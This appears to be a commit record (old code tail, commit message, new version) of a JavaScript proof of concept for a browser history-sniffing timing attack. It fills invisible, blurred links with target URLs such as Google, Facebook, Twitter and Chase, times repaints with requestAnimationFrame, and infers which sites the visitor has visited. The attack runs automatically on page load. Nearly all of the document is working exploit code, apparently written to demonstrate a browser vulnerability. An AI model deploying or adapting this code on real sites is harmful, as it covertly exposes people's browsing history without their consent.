	var base_series = [];
	var iter_to_base_series = {};
	var non_visited_series = [];
	var visited_series = [];
	var timeRequired = [];
	var testAreaElt = document.getElementById("test-area");
	// position:fixed;
	// top: 0; left: 0;
	// right: 0; bottom: 0;

	function optimizeParameters(promiseCondition, nbIter, blurPx){
		return new Promise(function(resolve, reject){
			var start;
			if(nbIter == 1){
				return reject("0iter");
			}

			testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
			testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%);";
			promiseCondition.then(function(){
				start = performance.now();
				return runNonVisited(nbIter);
			}).then(function(result){
				non_visited_series = result;
				iter_to_base_series[nbIter] = result;
				return Promise.resolve();
			}).then(function(res){
				return runVisited(nbIter);
			}).then(function(result){
				visited_series = result;
				var validated = examineTimeSeries(visited_series, non_visited_series);
				return Promise.resolve(validated);
			}).then(function(result){
				timeRequired.push(performance.now()-start);
				if(result){
					optimizeParameters(Promise.resolve(), nbIter-1, blurPx-5).then(function(res){
						var resParameters = {
							nbIter: res.nbIter,
							blur: res.blur,
							non_visited_series: res.non_visited_series
						}
						return resolve(resParameters);
					}, function(res){
						var resParameters = {
							nbIter: nbIter,
							blur: blurPx,
							non_visited_series: iter_to_base_series[nbIter]
						}
						return resolve(resParameters);
					});
				} else{
					return reject("Should not be there ?");
				}
			}).catch(function(err){
				return resolve("An exception occured");
			});
		});
	}

	function launchOptim(blur){
		return new Promise(function(resolve, reject){
			var p1 = optimizeParameters(Promise.resolve(), 3, blur);
			p1.then(function(optimizedParameters){
				return resolve(optimizedParameters);
			}, function(failure){
				nbFailures++;
				if(nbFailures > 3){
					return reject("failure");
				}
				launchOptim(blur+10).then(function(res){
					return resolve(res);
				}, function(err){
					return reject("failure");
				});
			}).catch(function(err){
				return reject("failure");
			});
		});
	}

	function testLinks(optimizedParameters){
		var blurPx = optimizedParameters.blur;
		//We set the filter with the optimal value
		testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		// We shouldn't have to do +1, fix this !
		var nbIter = optimizedParameters.nbIter;
		var linksToResults = {};
		return new Promise(function(resolve, reject){
			LINKS.forEach(function(link){
				promise = promise
					.then(function(){
						return checkIsLinkVisited(link, nbIter, optimizedParameters.non_visited_series);
					})
					.then(function(result){
						linksToResults[link] = result;
						if(Object.keys(linksToResults).length == LINKS.length){
							resolve(linksToResults);
						}
					});
			});
		});
	}

	launchOptim(3).then(function(optimizedParameters){
		return testLinks(optimizedParameters);
	}).then(function(res){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		for(var link in res){
			var result = res[link];
			var li = document.createElement('li');
			li.className = result.visited ? 'visited' : 'unvisited';
			var a = document.createElement('a');
			a.href = link;
			a.appendChild(document.createTextNode(link));
			li.appendChild(a);
			li.appendChild(generateDetails(result));
			links.appendChild(li);
		}
		launchTest.innerHTML = "Launch attack";
		attackRunning = false;
	}, function(optimizedParameters){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	}).catch(function(err){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	});
}

runAttack();

launchTest.addEventListener("click", function(){
	if(!attackRunning){
		runAttack();
	}
});
<commit_msg>fixed blur value<commit_after>"use strict";

var attackRunning = false;
var launchTest = document.getElementById("launch-test");

const NEVER_VISITED =
		"http://laddress-you-must-have-never-visited-before100000.com";
const NEVER_VISITED2 =
	"http://laddress-you-must-have-never-visited-before200000.com";
const LINKS = [
	location.href,
	"https://www.google.com",
	"https://www.facebook.com",
	"https://twitter.com",
	"https://twitter.com/upsuperx",
	"https://bugzilla.mozilla.org",
	"https://www.google.co.uk",
	"http://www.youtube.com",
	"https://www.linkedin.com",
	"http://www.craigslist.org",
	"http://stackoverflow.com",
	"http://www.bing.com",
	"http://www.bbc.co.uk",
	"http://www.microsoft.com",
	"http://www.amazon.com",
	"http://www.reddit.com",
	"http://news.ycombinator.com",
	"http://www.wordpress.com",
	"http://pinterest.com",
	"http://www.apple.com",
	"http://arstechnica.com",
	"https://www.quora.com",
	"https://www.yahoo.com",
	"https://www.instagram.com",
	"https://www.chase.com"
];

const test_area = document.getElementById('test-area');
const test_links = test_area.children;

function initTestArea(num) {
	var count = num / Math.pow(window.devicePixelRatio, 2);
	// We create count links
	for (var i = 0; i < count; i++) {
		var a = document.createElement('a');
		a.appendChild(document.createTextNode('### ### ###'));
		test_area.appendChild(a);
	}
}

function setTestAreaLink(link) {
	for (var i = 0; i < test_links.length; i++) {
		test_links[i].href = link;
		// test_links[i].style.color = "";
		// test_links[i].style.color = "red";
	}
}

function requestAnimationFrames(callbacks) {
	if (callbacks.length > 0) {
		requestAnimationFrame(function(t){
			callbacks.shift()(t);
			requestAnimationFrames(callbacks);
		});
	}
}

function EMPTY_LOOP(){}
function checkOnePass(link) {
	return new Promise(function(resolve, reject){
		var timestamps = [];
		function getCallback(link, log_time) {
			return function(t){
				if (log_time){
					timestamps.push(t);
				}
				setTestAreaLink(link);
			};
		}
		var callbacks;
		callbacks = [
		getCallback(NEVER_VISITED, false),
		getCallback(NEVER_VISITED, false),
		getCallback(link, true), EMPTY_LOOP,
		getCallback(NEVER_VISITED, true), EMPTY_LOOP,
		function(t){
				timestamps.push(t);
				resolve({
					test: [timestamps[1] - timestamps[0],
								timestamps[2] - timestamps[1]],
				});
			}
		];
		requestAnimationFrames(callbacks);
	});
}
function computeMedian(series) {
	var sorted = series.slice(0);
	sorted.sort();
	var median_index = Math.floor(sorted.length / 2);
	if (median_index * 2 != sorted.length) {
		return sorted[median_index];
	} else {
		return (sorted[median_index - 1] + sorted[median_index]) / 2;
	}
}
function examineTimeSeries(test_series, base_series) {
	var test_median = computeMedian(test_series);
	var base_median = computeMedian(base_series);
	return test_median > base_median * 1.80;
}

function checkIsLinkVisited(link, nbIter, base_series) {
	return new Promise(function(resolve, reject){
		var test_series = [];
		var promise = Promise.resolve();
		for (var i = 0; i < nbIter; i++) {
			promise = promise
				.then(function(){
					return checkOnePass(link);
				})
				.then(function(times){
					test_series.push(...times.test);
				});
		}
		promise.then(function(){
			var visited = examineTimeSeries(test_series, base_series);
			resolve({ visited, test_series, base_series });
		});
	});
}

function runNonVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
												if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
											// getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED2, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											function(t){
												timestamps.push(t);
												resolve({
														base: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]]
												});
											}
									];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.base);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function runVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
													if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
										getCallback(NEVER_VISITED, false),
										getCallback(LINKS[0], true), EMPTY_LOOP,
										getCallback(NEVER_VISITED, true), EMPTY_LOOP,
										function(t){
												timestamps.push(t);
												resolve({
													test: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]],
												});
											}
										];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.test);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function listTimes(time_series) {
	return time_series.map(t => Math.round(t)).join(', ');
}
function generateDetails(result) {
	var ul = document.createElement('ul');
	ul.className = 'details';
	var test = document.createElement('li');
	test.appendChild(document.createTextNode(`test: ${listTimes(result.test_series)}`));
	ul.appendChild(test);
	return ul;
}

function runAttack(){
	var nbFailures = 0;
	attackRunning = true;
	launchTest.innerHTML = "Attack running ...";
	test_area.style.position = "fixed";
	test_area.style.display = "block";

	const links = document.getElementById('links');
	links.innerHTML = "";
	initTestArea(500);
	var promise = Promise.resolve();
	var calibrate = true;
	var base_series = [];
	var iter_to_base_series = {};
	var non_visited_series = [];
	var visited_series = [];
	var timeRequired = [];
	var testAreaElt = document.getElementById("test-area");
	// position:fixed;
	// top: 0; left: 0;
	// right: 0; bottom: 0;

	function optimizeParameters(promiseCondition, nbIter, blurPx){
		return new Promise(function(resolve, reject){
			var start;
			if(nbIter == 1){
				return reject("0iter");
			}

			testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
			testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%);";
			promiseCondition.then(function(){
				start = performance.now();
				return runNonVisited(nbIter);
			}).then(function(result){
				non_visited_series = result;
				iter_to_base_series[nbIter] = result;
				return Promise.resolve();
			}).then(function(res){
				return runVisited(nbIter);
			}).then(function(result){
				visited_series = result;
				var validated = examineTimeSeries(visited_series, non_visited_series);
				return Promise.resolve(validated);
			}).then(function(result){
				timeRequired.push(performance.now()-start);
				if(result){
					optimizeParameters(Promise.resolve(), nbIter-1, blurPx-5).then(function(res){
						var resParameters = {
							nbIter: res.nbIter,
							blur: res.blur,
							non_visited_series: res.non_visited_series
						}
						return resolve(resParameters);
					}, function(res){
						var resParameters = {
							nbIter: nbIter,
							blur: blurPx,
							non_visited_series: iter_to_base_series[nbIter]
						}
						return resolve(resParameters);
					});
				} else{
					return reject("Should not be there ?");
				}
			}).catch(function(err){
				return resolve("An exception occured");
			});
		});
	}

	function launchOptim(blur){
		return new Promise(function(resolve, reject){
			var p1 = optimizeParameters(Promise.resolve(), 3, blur);
			p1.then(function(optimizedParameters){
				return resolve(optimizedParameters);
			}, function(failure){
				nbFailures++;
				if(nbFailures > 3){
					return reject("failure");
				}
				launchOptim(blur+10).then(function(res){
					return resolve(res);
				}, function(err){
					return reject("failure");
				});
			}).catch(function(err){
				return reject("failure");
			});
		});
	}

	function testLinks(optimizedParameters){
		var blurPx = optimizedParameters.blur;
		//We set the filter with the optimal value
		testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		// We shouldn't have to do +1, fix this !
		var nbIter = optimizedParameters.nbIter;
		var linksToResults = {};
		return new Promise(function(resolve, reject){
			LINKS.forEach(function(link){
				promise = promise
					.then(function(){
						return checkIsLinkVisited(link, nbIter, optimizedParameters.non_visited_series);
					})
					.then(function(result){
						linksToResults[link] = result;
						if(Object.keys(linksToResults).length == LINKS.length){
							resolve(linksToResults);
						}
					});
			});
		});
	}

	launchOptim(30).then(function(optimizedParameters){
		return testLinks(optimizedParameters);
	}).then(function(res){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		for(var link in res){
			var result = res[link];
			var li = document.createElement('li');
			li.className = result.visited ? 'visited' : 'unvisited';
			var a = document.createElement('a');
			a.href = link;
			a.appendChild(document.createTextNode(link));
			li.appendChild(a);
			li.appendChild(generateDetails(result));
			links.appendChild(li);
		}
		launchTest.innerHTML = "Launch attack";
		attackRunning = false;
	}, function(optimizedParameters){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	}).catch(function(err){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	});
}

runAttack();

launchTest.addEventListener("click", function(){
	if(!attackRunning){
		runAttack();
	}
});
<|endoftext|>